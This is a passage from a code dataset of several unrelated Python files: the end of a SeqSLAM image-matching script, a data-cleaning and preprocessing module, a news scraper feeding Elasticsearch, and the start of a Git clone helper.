matrix[ya:yb, column]\n norm_matrix[row][column] = (matrix[row][column] - np.mean(local_vector)) / np.std(local_vector)\n if display:\n cv2.imshow('matrix', cv2.resize(matrix, (window_height, window_width), interpolation=cv2.INTER_AREA))\n if display:\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n if display:\n while True:\n cv2.imshow('matrix', cv2.resize(matrix, (window_height, window_width), interpolation=cv2.INTER_AREA))\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n plt.imshow(norm_matrix)\n plt.colorbar()\n plt.show()\n return norm_matrix\n \n\ndef applyLocalContrast(frames):\n #This is incorrect, they do not actually increase contrast, they use patch normalization\n #which they state will enhance the contrast. Therefore the code below for the CLAHE contrast\n #algorithm is technically wrong. \n #uses the CLAHE algorithm\n clahe = cv2.createCLAHE(clipLimit=0.5, tileGridSize=(4,4))\n for index in range(len(frames)):\n frame = cv2.cvtColor(frames[index], cv2.COLOR_BGR2LAB)\n l,a,b = cv2.split(frame)\n cl = clahe.apply(l)\n limg = cv2.merge((cl,a,b))\n frames[index] = cv2.cvtColor(cv2.cvtColor(limg, cv2.COLOR_LAB2BGR), cv2.COLOR_BGR2GRAY)/256\n '''\n window = 4\n width, height = np.shape(frames[0])\n print(width, height)\n for index in range(len(frames)):\n frame = frames[index]\n for m in range(0, height, window):\n for n in range(0, width, window):\n chunk = frame[m:m+window,n:n+window]\n print(np.shape(chunk))\n \n '''\n return frames \n\ndef trajectoryScore(row, column, v_step, ds):\n pass\n\ndef getLine(x1, y1, x2, y2):\n dx = x2 - x1\n dy = y2 - y1\n x_coords = []\n y_coords = []\n for x in range(x1,x2):\n y = y1 + dy * (x - x1) // dx\n x_coords.append(x)\n y_coords.append(y)\n return x_coords,y_coords\n\ndef trajectorySearch(matrix):\n rows,columns = np.shape(matrix)\n score_matrix = np.stack((np.empty([rows, columns]),)*3, axis=-1)\n ds = 10\n v_steps = np.arange(0,3,1)\n display_matrix = np.stack((matrix,)*3, axis=-1)\n for column in range(columns):\n match_scores = []\n for row in range(rows):\n ds_ = int(ds/2)\n local_scores = [] #Chunk (match) local scores\n chunk = matrix[max(0,row-ds_):row+ds_,max(0,column-ds_):column+ds_]\n #This is where I construct a local score for multiple velocities\n #score = np.trace(chunk)\n for v_step in v_steps:\n x_line,y_line = getLine(0,0+v_step,np.shape(chunk)[0],np.shape(chunk)[1]-v_step)\n sequence = chunk[x_line, y_line]\n score = np.sum(sequence)\n local_scores.append(score)\n\n match_scores.append(min(local_scores))\n if True:\n cv2.imshow('trajectory search', score_matrix)\n\n best_score = np.argmin(match_scores)\n score_matrix[best_score][column] = 1\n #display_matrix = cv2.circle(display_matrix, (column, row), 1, (0,255,0), -1)\n #matrix = cv2.circle(matrix, (row, column), 3, (0,255,0), -1)\n #cv2.imshow('trajectory search', score_matrix)\n if True:\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n plt.imshow(score_matrix)\n plt.show()\n \nif __name__ == \"__main__\":\n #refFrames = processFrames(loadFrames('./day_trunc.avi', 300))\n #queryFrames = processFrames(loadFrames('./night_trunc.avi', 300))\n refFrames = loadFrames('./day_trunc.avi', 300)\n queryFrames = loadFrames('./night_trunc.avi', 300) \n matrix = normaliseDifferenceMatrix(buildDifferenceMatrix(refFrames[75:-5], queryFrames[85:]), 10)\n '''\n print(np.shape(matrix)) \n trajectorySearch(matrix)\n '''\n del refFrames[:]\n del queryFrames[:]\n cv2.destroyAllWindows()\n","sub_path":"SeqSLAMPy/histSLAM.py","file_name":"histSLAM.py","file_ext":"py","file_size_in_byte":6872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"176816318","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 1 10:46:34 2018\n\n@author: yangk\n\"\"\"\nfrom time import gmtime, strftime\nfrom __init__ import ROOT_PATH\n#from config import AppConfig\nimport pandas as pd\nimport numpy as np\nfrom sklearn import preprocessing\nfrom fancyimpute import BiScaler, KNN, NuclearNormMinimization, SoftImpute\n\n#config = AppConfig()\n# logical_and\n\n\nclass LoadData(object):\n def __init__(self, config):\n self.filename = ROOT_PATH + \"/data/\" + config.data_file_name\n self.dataset = 0\n self.feature_names = 0\n self.dataset_inputs = 0\n self.dataset_outputs = 0\n self.target_names = 0\n\n def load_cvs(self):\n self.dataset = pd.read_csv(self.filename, index_col=0)\n# self.dataset_names = self.dataset.columns.values.tolist()\n self.dataset = self.dataset.replace(r'^\\s*$', np.nan, regex=True)\n return self.dataset\n\n def initialize(self):\n dataset = self.load_cvs()\n index_start = dataset.columns.get_loc('OUTPUT')\n index_end = dataset.columns.get_loc('INPUT')\n\n dataset_outputs = dataset.iloc[:, index_start+1:index_end]\n\n dataset_inputs = dataset.iloc[:, index_end+1:]\n\n self.dataset_inputs = dataset_inputs\n self.dataset_outputs = dataset_outputs\n\n self.dataset = pd.concat([dataset_outputs, dataset_inputs], axis=1)\n target_names = dataset_outputs.columns.values.tolist()\n feature_names = dataset_inputs.columns.values.tolist()\n self.feature_names = feature_names\n self.target_names = target_names[0:len(target_names)]\n\n return self.dataset, self.dataset_inputs, self.feature_names, self.dataset_outputs, self.target_names\n\n def analysis(self):\n return 0\n\n\nclass Cleaning(object):\n def __init__(self, dataset, dataset_inputs, dataset_outputs,config):\n self.dataset = dataset\n self.dataset_inputs = dataset_inputs\n self.dataset_outputs = dataset_outputs\n self.config = config\n def set_missing_libc(self):\n # This function is just for libc project\n \n inputs = self.dataset_inputs\n outputs = self.dataset_outputs\n inputs = inputs.replace([-1], np.nan)\n inputs = inputs.replace(['999'], np.nan)\n inputs['sex_pref'] = inputs['sex_pref'].replace([3],np.nan)\n if self.config.data_file_name == '20180124/alc_w_1.csv':\n inputs['father_died_since_16'] = inputs['father_died_since_16'].replace([2],0)\n inputs['mother_died_since_16'] = inputs['mother_died_since_16'].replace([2],0)\n else:\n pass\n \n \n \n \n for i in range(0, len(inputs.columns)):\n inputs.iloc[:, i] = pd.to_numeric(inputs.iloc[:, i], errors='coerce')\n# \n# for i in range(0, len(outputs.columns)):\n# outputs.iloc[:, i] = pd.to_numeric(outputs.iloc[:, i], errors='coerce')\n \n dataset = pd.concat([outputs, inputs], axis=1, join_axes=[outputs.index])\n \n self.dataset = dataset\n self.dataset_inputs = inputs\n self.dataset_outputs = outputs\n \n \n\n def impute(self):\n config = self.config\n data = self.dataset_inputs\n sf = config.feature_selection\n sf_names = data.columns[sf].tolist()\n if config.inputer_method in ['median', 'Median']:\n fill_NaN = preprocessing.Imputer(missing_values=np.nan, strategy='median', axis=0)\n results = pd.DataFrame(fill_NaN.fit_transform(data.loc[:, sf_names]),\n index=data.index, columns=data.columns[sf])\n elif config.inputer_method in ['mean', 'Mean']:\n fill_NaN = preprocessing.Imputer(missing_values=np.nan, strategy='mean', axis=0)\n results = pd.DataFrame(fill_NaN.fit_transform(data.loc[:, sf_names]),\n index=data.index, columns=data.columns[sf])\n elif config.inputer_method in ['most', 'most_fre', 'most_frequent']:\n fill_NaN = preprocessing.Imputer(missing_values=np.nan, strategy='most_frequent', axis=0)\n results = pd.DataFrame(fill_NaN.fit_transform(data.loc[:, sf_names]),\n index=data.index, columns=data.columns[sf])\n elif config.inputer_method in ['knn', 'KNN']:\n results = KNN(k=3).complete(data.loc[:, sf_names])\n elif config.inputer_method in ['ncn', 'NCN']:\n results = NuclearNormMinimization().complete(data.loc[:, sf_names])\n elif config.inputer_method in ['si', 'SI']:\n results = SoftImpute().complete(data.loc[:, sf_names])\n else:\n print('The method could only be M(m)edian, M(m)ean, M(m)ost')\n\n \n\n data.loc[:, sf_names] = results\n return data\n\n def clean_data(self):\n config = self.config\n self.set_missing_libc()\n if config.inputer in ['Y', 'Yes', 'y', 'yes']:\n cleaned_inputs = self.impute()\n else:\n cleaned_inputs = self.dataset_inputs\n self.dataset.iloc[:,4:] = cleaned_inputs\n self.dataset_inputs = cleaned_inputs\n\n return self.dataset, cleaned_inputs, self.dataset_outputs\n \n def remove_nan_data(self):\n dataset = self.dataset\n dataset = dataset.dropna(how = 'any')\n inputs = dataset.iloc[:,4:]\n outputs = dataset.iloc[:,0:4]\n self.dataset = dataset\n self.dataset_inputs = inputs\n self.dataset_outputs = outputs\n return dataset, inputs, outputs\n \n## Version 1.0\n# def class_outputs(self):\n# dataset = self.dataset\n# inputs = self.dataset_inputs\n# outputs = self.dataset_outputs\n# \n# for i in range(0, len(outputs.columns)):\n# outputs.iloc[:,i] = pd.to_numeric(outputs.iloc[:,i])\n# \n# names = outputs.columns.values\n# \n# # Glasses:\n# # For male: 0, if x in [0,2]\n# # 1, if x > 2\n# # For female: 0, if x in [0,1]\n# # 1, if x > 1\n# # Boxes:\n# # 0, if x in [0,1]\n# # 1, if x in (1,3]\n# # 2, if x in (3,5]\n# # 3, if x >=5\n# for i in range(0, len(outputs.columns)):\n# if i in [0]: \n# index0_t_male = np.logical_and(outputs.iloc[:,i]<=2, outputs.iloc[:,i] >= 0)\n# index0_male = np.logical_and(index0_t_male, inputs.iloc[:,1] == 1)\n# index0_t_female = np.logical_and(outputs.iloc[:,i]<=1, outputs.iloc[:,i] >= 0)\n# index0_female = np.logical_and(index0_t_female, inputs.iloc[:,1] == 2)\n# index1_male = np.logical_and(outputs.iloc[:,i]>2, inputs.iloc[:,1] == 1)\n# index1_female = np.logical_and(outputs.iloc[:,i]>1, inputs.iloc[:,1] == 2)\n# \n# outputs.loc[index0_male,names[i]] = 0\n# outputs.loc[index0_female,names[i]] = 0\n# outputs.loc[index1_male,names[i]] = 1\n# outputs.loc[index1_female,names[i]] = 1\n# elif i in [1]:\n# index0 = np.logical_and(outputs.iloc[:,i]<=1, outputs.iloc[:,i] >= 0)\n# index1 = np.logical_and(outputs.iloc[:,i]<=3, outputs.iloc[:,i] > 1)\n# index2 = np.logical_and(outputs.iloc[:,i]<=5, outputs.iloc[:,i] > 3)\n# index3 = outputs.iloc[:,i] > 5\n# outputs.loc[index0,names[i]] = 0\n# outputs.loc[index1,names[i]] = 1\n# outputs.loc[index2,names[i]] = 2\n# outputs.loc[index3,names[i]] = 3\n## else: \n## index_0 = np.logical_and(outputs.iloc[:,i]<2, outputs.iloc[:,i] >= -2)\n## outputs.loc[index_0,names[i]] = 0\n## index_1 = np.logical_and(outputs.iloc[:,i]<-2, outputs.iloc[:,i] >= -5)\n## outputs.loc[index_1,names[i]] = -1\n## index_2 = outputs.iloc[:,i] < -5\n## outputs.loc[index_2,names[i]] = -2\n## \n## index_1 = np.logical_and(outputs.iloc[:,i]<5, outputs.iloc[:,i] >= 2)\n## outputs.loc[index_1,names[i]] = 1\n## index_2 = outputs.iloc[:,i] >= 5\n## outputs.loc[index_2,names[i]] = 2\n# elif i in [2]:\n# index0_t_male = np.logical_and(outputs.iloc[:,i]<=2, outputs.iloc[:,i] >= -2)\n# index0_male = np.logical_and(index0_t_male, inputs.iloc[:,1] == 1)\n# index0_t_female = np.logical_and(outputs.iloc[:,i]<=1, outputs.iloc[:,i] >= -1)\n# index0_female = np.logical_and(index0_t_female, inputs.iloc[:,1] == 2)\n# \n# index1_male = np.logical_and(outputs.iloc[:,i]>2, inputs.iloc[:,1] == 1)\n# index1_female = np.logical_and(outputs.iloc[:,i]>1, inputs.iloc[:,1] == 2)\n# \n# index_minus1_male = np.logical_and(outputs.iloc[:,i]<-2, inputs.iloc[:,1] == 1)\n# index_minus1_female = np.logical_and(outputs.iloc[:,i]<-1, inputs.iloc[:,1] == 2)\n# \n# outputs.loc[index0_male,names[i]] = 0\n# outputs.loc[index0_female,names[i]] = 0\n# outputs.loc[index1_male,names[i]] = 1\n# outputs.loc[index1_female,names[i]] = 1\n# outputs.loc[index_minus1_male,names[i]] = -1\n# outputs.loc[index_minus1_female,names[i]] = -1\n# elif i in [3]:\n# index0 = np.logical_and(outputs.iloc[:,i] <= 1, outputs.iloc[:,i] >= -1)\n# index1 = np.logical_and(outputs.iloc[:,i] <= 3, outputs.iloc[:,i] > 1)\n# index2 = np.logical_and(outputs.iloc[:,i] <= 5, outputs.iloc[:,i] > 3)\n# index3 = outputs.iloc[:,i] > 5\n# index_minus1 = np.logical_and(outputs.iloc[:,i] < -1, outputs.iloc[:,i] >= -3)\n# index_minus2 = np.logical_and(outputs.iloc[:,i] < -3, outputs.iloc[:,i] >= -5)\n# index_minus3 = outputs.iloc[:,i] < -5\n# outputs.loc[index0,names[i]] = 0\n# outputs.loc[index1,names[i]] = 1\n# outputs.loc[index2,names[i]] = 2\n# outputs.loc[index3,names[i]] = 3\n# outputs.loc[index_minus1,names[i]] = -1\n# outputs.loc[index_minus2,names[i]] = -2\n# outputs.loc[index_minus3,names[i]] = -3\n# return dataset, inputs, outputs\n\n## Version 2.0, using the difference between two lables: \n def lable_glass(self, inputs, outputs, names, i):\n index0_t_male = np.logical_and(outputs.iloc[:,i]<=2, outputs.iloc[:,i] >= 0)\n index0_male = np.logical_and(index0_t_male, inputs.iloc[:,1] == 1)\n index0_t_female = np.logical_and(outputs.iloc[:,i]<=1, outputs.iloc[:,i] >= 0)\n index0_female = np.logical_and(index0_t_female, inputs.iloc[:,1] == 2)\n index1_male = np.logical_and(outputs.iloc[:,i]>2, inputs.iloc[:,1] == 1)\n index1_female = np.logical_and(outputs.iloc[:,i]>1, inputs.iloc[:,1] == 2)\n \n outputs.loc[index0_male,names[i]] = 0\n outputs.loc[index0_female,names[i]] = 0\n outputs.loc[index1_male,names[i]] = 1\n outputs.loc[index1_female,names[i]] = 1\n return outputs\n def lable_box(self, outputs, names, i):\n index0 = np.logical_and(outputs.iloc[:,i]<=1, outputs.iloc[:,i] >= 0)\n index1 = np.logical_and(outputs.iloc[:,i]<=3, outputs.iloc[:,i] > 1)\n index2 = np.logical_and(outputs.iloc[:,i]<=5, outputs.iloc[:,i] > 3)\n index3 = outputs.iloc[:,i] > 5\n outputs.loc[index0,names[i]] = 0\n outputs.loc[index1,names[i]] = 1\n outputs.loc[index2,names[i]] = 2\n outputs.loc[index3,names[i]] = 3\n return outputs\n def class_outputs(self):\n dataset = self.dataset\n inputs = self.dataset_inputs\n outputs = self.dataset_outputs\n \n for i in range(0, len(outputs.columns)):\n outputs.iloc[:,i] = pd.to_numeric(outputs.iloc[:,i])\n \n names = outputs.columns.values\n \n # Glasses:\n # For male: 0, if x in [0,2]\n # 1, if x > 2\n # For female: 0, if x in [0,1]\n # 1, if x > 1\n # Boxes:\n # 0, if x in [0,1]\n # 1, if x in (1,3]\n # 2, if x in (3,5]\n # 3, if x >=5\n outputs.iloc[:,2] = outputs.iloc[:,0] - outputs.iloc[:,2]\n outputs.iloc[:,3] = outputs.iloc[:,1] - outputs.iloc[:,3]\n for i in range(0, len(outputs.columns)):\n if i in [0]: \n outputs = self.lable_glass(inputs, outputs, names, i)\n elif i in [1]:\n outputs = self.lable_box(outputs, names, i)\n elif i in [2]:\n outputs = self.lable_glass(inputs, outputs, names, i)\n outputs.iloc[:,2] = outputs.iloc[:,0] - outputs.iloc[:,2] \n# index0_t_male = np.logical_and(outputs.iloc[:,i]<=2, outputs.iloc[:,i] >= -2)\n# index0_male = np.logical_and(index0_t_male, inputs.iloc[:,1] == 1)\n# index0_t_female = np.logical_and(outputs.iloc[:,i]<=1, outputs.iloc[:,i] >= -1)\n# index0_female = np.logical_and(index0_t_female, inputs.iloc[:,1] == 2)\n# \n# index1_male = np.logical_and(outputs.iloc[:,i]>2, inputs.iloc[:,1] == 1)\n# index1_female = np.logical_and(outputs.iloc[:,i]>1, inputs.iloc[:,1] == 2)\n# \n# index_minus1_male = np.logical_and(outputs.iloc[:,i]<-2, inputs.iloc[:,1] == 1)\n# index_minus1_female = np.logical_and(outputs.iloc[:,i]<-1, inputs.iloc[:,1] == 2)\n# \n# outputs.loc[index0_male,names[i]] = 0\n# outputs.loc[index0_female,names[i]] = 0\n# outputs.loc[index1_male,names[i]] = 1\n# outputs.loc[index1_female,names[i]] = 1\n# outputs.loc[index_minus1_male,names[i]] = -1\n# outputs.loc[index_minus1_female,names[i]] = -1\n elif i in [3]:\n outputs = self.lable_box(outputs, names, i)\n outputs.iloc[:,3] = outputs.iloc[:,1] - outputs.iloc[:,3]\n# index0 = np.logical_and(outputs.iloc[:,i] <= 1, outputs.iloc[:,i] >= -1)\n# index1 = np.logical_and(outputs.iloc[:,i] <= 3, outputs.iloc[:,i] > 1)\n# index2 = np.logical_and(outputs.iloc[:,i] <= 5, outputs.iloc[:,i] > 3)\n# index3 = outputs.iloc[:,i] > 5\n# index_minus1 = np.logical_and(outputs.iloc[:,i] < -1, outputs.iloc[:,i] >= -3)\n# index_minus2 = np.logical_and(outputs.iloc[:,i] < -3, outputs.iloc[:,i] >= -5)\n# index_minus3 = outputs.iloc[:,i] < -5\n# outputs.loc[index0,names[i]] = 0\n# outputs.loc[index1,names[i]] = 1\n# outputs.loc[index2,names[i]] = 2\n# outputs.loc[index3,names[i]] = 3\n# outputs.loc[index_minus1,names[i]] = -1\n# outputs.loc[index_minus2,names[i]] = -2\n# outputs.loc[index_minus3,names[i]] = -3\n return dataset, inputs, outputs\n \n\nclass Scaling(object):\n def __init__(self, dataset, dataset_inputs):\n self.dataset = dataset\n self.dataset_inputs = dataset_inputs\n\n def scale(self):\n dataset = self.dataset\n dataset_inputs = self.dataset_inputs\n return dataset, dataset_inputs\n\n\nclass Normalization(object):\n def __init__(self, dataset, dataset_outputs):\n self.dataset = dataset\n self.dataset_outputs = dataset_outputs\n\n def normalize(self):\n dataset = self.dataset\n dataset_outputs = self.dataset_outputs\n return dataset, dataset_outputs\n\n\n \nclass GetID4TT(object):\n # Outputs:\n # 1. selected_id\n # 2. selected_features\n\n def __init__(self, dataset_inputs, dataset_outputs, target, config):\n # self.dataset = dataset\n self.dataset_inputs = dataset_inputs\n self.dataset_outputs = dataset_outputs\n self.target = target\n self.id_values = 0\n self.id_current = 0\n self.config = config\n\n def get_valid_id(self):\n outputs = self.dataset_outputs\n # inputs = self.dataset_inputs\n target = self.target\n for i in range(0, len(outputs.columns)):\n if outputs.columns[i] == target:\n id_current = outputs[outputs.columns[i]].notnull()\n self.id_current = id_current\n return id_current\n\n def get_valid_feature(self):\n self.get_valid_id()\n config = self.config\n id_now = self.id_current\n dataset_inputs = self.dataset_inputs\n if config.feature_selection in ['all', 'ALL', 'a', 'A']:\n selected_feature_index = pd.Series([True] * len(dataset_inputs.columns))\n else:\n selected_feature_index = config.feature_selection\n\n non_nan_feature_index = self.dataset_inputs.loc[id_now, :].notnull().all()\n sf_index = np.logical_and(selected_feature_index, non_nan_feature_index)\n sf_names = dataset_inputs.columns[sf_index].tolist()\n return sf_index, sf_names\n\n\nclass DataPreprocessing(object):\n def __init__(self, x_train, y_train, x_test, y_test, target, config):\n self.x_train = x_train\n self.y_train = y_train\n self.x_test = x_test\n self.y_test = y_test\n self.target = target\n self.sf_names = 0\n self.sf_index = 0\n self.config = config\n\n def get_valid_data(self):\n config = self.config\n x_train = self.x_train\n y_train = self.y_train\n x_test = self.x_test\n y_test = self.y_test\n target = self.target\n get_index_train = GetID4TT(x_train, y_train, target, config)\n\n pident_id_train = get_index_train.get_valid_id()\n sf_index_train, sf_names_train = get_index_train.get_valid_feature()\n\n get_index_test = GetID4TT(x_test, y_test, target, config)\n pident_id_test = get_index_test.get_valid_id()\n sf_index_test, sf_names_test = get_index_test.get_valid_feature()\n\n sf_index = np.logical_and(sf_index_train, sf_index_test)\n sf_names = x_train.columns[sf_index].tolist()\n\n temp = x_train.loc[pident_id_train, :]\n x_train_temp = temp.loc[:, sf_names]\n y_train_temp = y_train.loc[pident_id_train]\n\n temp = x_test.loc[pident_id_test, :]\n x_test_temp = temp.loc[:, sf_names]\n y_test_temp = y_test.loc[pident_id_test]\n self.x_train = x_train_temp\n self.x_test = x_test_temp\n self.y_train = y_train_temp\n self.y_test = y_test_temp\n self.sf_names = sf_names\n self.sf_index = sf_index\n self.sf_index_pp = np.logical_and(sf_index, config.feature_processing)\n self.sf_names_pp = x_train.columns[self.sf_index_pp].tolist()\n return x_train_temp, y_train_temp, x_test_temp, y_test_temp, sf_names, sf_index\n def normalizing(self,data):\n return 0\n \n def rescaling(self,data_train, data_test):\n config = self.config\n sf_names_pp = self.sf_names_pp\n if config.feature_rescaling_method is 'minmax':\n scaler = preprocessing.MinMaxScaler()\n elif config.feature_rescaling_method is 'maxabs':\n scaler = preprocessing.MaxAbsScaler()\n elif config.feature_rescaling_method is 'robust':\n scaler = preprocessing.RobustScaler()\n elif config.feature_rescaling_method is 'norm':\n scaler = preprocessing.Normalizer()\n else:\n pass\n \n if len(sf_names_pp) > 0:\n scaler.fit(data_train[sf_names_pp])\n data_train[sf_names_pp] = scaler.transform(data_train[sf_names_pp])\n data_test[sf_names_pp] = scaler.transform(data_test[sf_names_pp])\n else:\n print('No features will be transformed.')\n \n return data_train, data_test\n \n def standardizing(self,data_train, data_test):\n sf_names_pp = self.sf_names_pp\n std_scale = preprocessing.StandardScaler().fit(data_train[sf_names_pp])\n data_train[sf_names_pp] = std_scale.transform(data_train[sf_names_pp])\n data_test[sf_names_pp] = std_scale.transform(data_test[sf_names_pp])\n \n return data_train, data_test\n def data_processing(self):\n config = self.config\n x_train, y_train, x_test, y_test, sf_names, sf_index = self.get_valid_data()\n if config.feature_standardizing in ['Y', 'y', 'yes', 'YES']:\n x_train, x_test = self.standardizing(x_train, x_test)\n else:\n pass\n \n if config.feature_rescaling in ['Y', 'y', 'yes', 'YES']:\n x_train, x_test = self.rescaling(x_train, x_test)\n else:\n pass\n \n return x_train, y_train, x_test, y_test, sf_names, sf_index\n\n\n","sub_path":"datapreprocess.py","file_name":"datapreprocess.py","file_ext":"py","file_size_in_byte":21068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"406322525","text":"# import libraries\nimport json\nimport logging\nimport time\nimport requests\nimport hashlib\n\nfrom elasticsearch import Elasticsearch\nfrom pprint import pprint\nfrom time import sleep\nfrom bs4 import BeautifulSoup\n\n# progress bar:\nfrom ipywidgets import FloatProgress\nfrom IPython.display import display\n\nfrom Sentiment import Sentiment_Analyzer\n#from PyDictionary import PyDictionary\n#from nltk import *\n\n\nclass News():\n\tdef __init__(self):\n\t\tself.analyzer = Sentiment_Analyzer()\n\t\t\n\tdef search(self,es_object, index_name, search):\n\t\tres = es_object.search(index=index_name, body=search)\n\t\tpprint(res) \n\n\tdef create_index(self,es_object, index_name): \n\t\tcreated = False\n\t\t# index settings\n\t\tsettings = {\n\t\t\t\"settings\": {\n\t\t\t\t\"number_of_shards\": 1,\n\t\t\t\t\"number_of_replicas\": 0\n\t\t\t},\n\t\t\t\t\"news\": {\n\t\t\t\t\t\"dynamic\": \"strict\",\n\t\t\t\t\t\"properties\": {\n\t\t\t\t\t\t\"title\": {\n\t\t\t\t\t\t\t\"type\": \"text\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"body\": {\n\t\t\t\t\t\t\t\"type\": \"text\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"sentiment\":{\n\t\t\t\t\t\t\t\"type\": \"float\"\n\t\t\t\t\t\t},\n\t\t\t\t\t }\n\t\t\t\t\t}\n\t\t\t\t}\n\t\ttry:\n\t\t\tif not es_object.indices.exists(index_name):\n\t\t\t\t# Ignore 400 means to ignore \"Index Already Exist\" error.\n\t\t\t\tes_object.indices.create(index=index_name, ignore=400, body=settings)\n\n\t\t\tcreated = True\n\t\texcept Exception as ex:\n\t\t\tprint(str(ex))\n\t\tfinally:\n\t\t\treturn created\n\t\t\n\tdef store_record(self,elastic_object, index_name, record): \n\t\tis_stored = True\n\t\ttry:\n\t\t\toutcome = elastic_object.index(index=index_name, doc_type='news', body=record)\n\t\t\t#print(outcome)\n\t\texcept Exception as ex:\n\t\t\tprint('Error in indexing data')\n\t\t\tprint(str(ex))\n\t\t\tis_stored = False\n\t\tfinally:\n\t\t\treturn is_stored\n\t \n\tdef connect_elasticsearch(self):\n\t\t_es = None\n\t\thost = 'localhost'\n\t\tport = 9200\n\t\t_es = Elasticsearch([{'host': host, 'port': port}])\n\t\tif _es.ping():\n\t\t\tprint('Connected to the {0} at port {1}.'.format(host,port))\n\t\telse:\n\t\t\tprint('It could not connect to the {0} at port {1}.'.format(host,port))\n\t\treturn _es\n\n\tdef parse(self,url, headers,title_format = ' ', body_format = ' '): \n\t\trec = {}\n\t\ttitle = \" \"\n\t\tbody = \" \"\n\t\ttry:\n\t\t\tr = requests.get(url, headers=headers)\n\t\t\tif r.status_code == 200:\n\t\t\t\thtml = r.text\n\t\t\t\tsoup = BeautifulSoup(html, 'lxml')\n\t\t\t\ttitle_section = soup.find(title_format)\n\t\t\t\tbody_section = soup.select(body_format)\n\t\t\t\tif body_section:\n\t\t\t\t\tfor body_index in body_section:\n\t\t\t\t\t\tbody += body_index.text.strip()\n\t\t\t\tif title_section:\n\t\t\t\t\ttitle = title_section.string\n\t\t\t\trec = {'title': title, 'body': body }\n\t\texcept Exception as ex:\n\t\t\tprint('Exception while parsing')\n\t\t\tprint(str(ex))\n\t\tfinally:\n\t\t\treturn json.dumps(rec)\n\n\tdef store_info(self,dictionary, limit = 3): \n\t\theaders = {\n\t\t\t'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/68.0.3440.75 Chrome/68.0.3440.75 Safari/537.36',\n\t\t\t'Pragma': 'no-cache'\n\t\t}\n\t\tlogging.basicConfig(level=logging.ERROR)\n\t\tr = requests.get(dictionary['url'], headers=headers)\n\t\tif r.status_code == 200:\n\t\t\tlinks = []\n\t\t\thtml = r.text\n\t\t\tsoup = BeautifulSoup(html, 'lxml')\n\t\t\t# some pages have multiple ways of calling each news\n\t\t\tfor each in dictionary['links']:\n\t\t\t\tlinks += soup.select(each)\n\t\t\t# progress bar\n\t\t\tmax_count = len(links)\n\t\t\tf = FloatProgress(min=0, max=max_count) # instantiate the bar\n\t\t\tdisplay(f) # display the bar\n\t\t\tif len(links) > 0:\n\t\t\t\tes = self.connect_elasticsearch()\n\t\t\t\texception = False\n\t\t\t\tfor link in links:\n\t\t\t\t\tf.value += 1 # signal to increment the progress bar\n\t\t\t\t\t#sleep(1)\n\t\t\t\t\ttry:\n\t\t\t\t\t\tif link['href'].startswith('/'):\n\t\t\t\t\t\t\tlinking = dictionary['url']+link['href'][1:]\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tlinking = link['href']\n\t\t\t\t\t\tresult = self.parse(linking, headers,dictionary['title'],dictionary['body'])\n\t\t\t\t\texcept Exception as ex: \n\t\t\t\t\t\tif exception == False:\n\t\t\t\t\t\t\t#print(\"Showing exceptions while reading the links provided to the news.\")\n\t\t\t\t\t\t\tprint()\n\t\t\t\t\t\t\texception = True\n\t\t\t\t\t\t#print(\"Link was not read properly because it is of the format: {0}\"\\\n\t\t\t\t\t\t#\t \" and has created an exception of type : {1}.\".format(link,str(ex)))\n\t\t\t\t\telse:\n\t\t\t\t\t\tif es is not None:\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\tbody_text = json.loads(result)['body']\n\t\t\t\t\t\t\texcept Exception as ex:\n\t\t\t\t\t\t\t\tprint(\"\\n\")\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tsentiment = self.analyzer.analyze(json.loads(result)['body'])\n\t\t\t\t\t\t\t\tif sentiment < (-limit) or sentiment > limit:\n\t\t\t\t\t\t\t\t\tout = self.store_record(es, dictionary['name'], result)\n\n\t\t\t\t\t\t\t\t\t\n","sub_path":"old/News.py","file_name":"News.py","file_ext":"py","file_size_in_byte":4436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"73942929","text":"import os\n\nimport requests\nfrom requests.auth import HTTPBasicAuth\n\nfrom ..integration.os.process import Command\nfrom ..integration.os.utils import chdir\n\n\nclass RepoClient:\n \"\"\" The class handles the GIT processes \"\"\"\n\n def __init__(self, root_dir, token, owner, repo, repo_dir):\n \"\"\" Git class constructor \"\"\"\n self.__root_dir = root_dir\n self.__github_token = token\n self.__repo_owner = owner\n self.__repo_name = repo\n self.__repo_dir = repo_dir\n self.__repo_remote = 'origin' # TODO: Make optional parameter\n\n def clone(self):\n \"\"\" Executes a git clone command on the target repository \"\"\"\n chdir(self.__root_dir)\n\n # logging the working directory for debug\n print('----- Repo clone: -----')\n\n if os.path.isdir(self.__repo_dir) and os.path.isdir(os.path.join(self.__repo_dir, '.git')):\n print('Repository {repo_name} is already cloned'.format(repo_name=self.__repo_name) + '\\n')\n return 0\n\n # Command to clone the repo\n cmd = 'git clone https://{owner}:{token}@github.com/{owner}/{repo}.git {repo_folder}'.format(\n owner=self.__repo_owner,\n token=self.__github_token,\n repo=self.__repo_name,\n repo_folder=self.__repo_dir\n )\n\n command = Command(cmd)\n command.run()\n\n if command.returned_errors():\n print('Error: ' + command.get_output())\n return 255\n\n print('Cloned repo {repo} to directory {dir}'.format(repo=self.__repo_name, dir=self.__repo_dir))\n return 0\n\n def __get_branches(self):\n \"\"\" Returns a list of current branches \"\"\"\n if not os.path.isdir(self.__repo_dir):\n return ''\n\n chdir(self.__repo_dir) # Go to repo dir\n\n command = Command('git branch --all', False)\n command.run()\n\n chdir(self.__root_dir) # Go to root dir\n\n branches = command.get_output()\n branches = branches.split('\\n')\n\n print(\"List of branches: \" + '\\n'.join(branches))\n\n return branches\n\n def branch_exists(self, branch):\n \"\"\" Checks if the branch exists \"\"\"\n if not len(branch):\n raise ValueError('Branch name not provided')\n\n # Logging\n print('Searching for branch: ' + branch)\n\n lines = self.__get_branches()\n for line in lines:\n line = 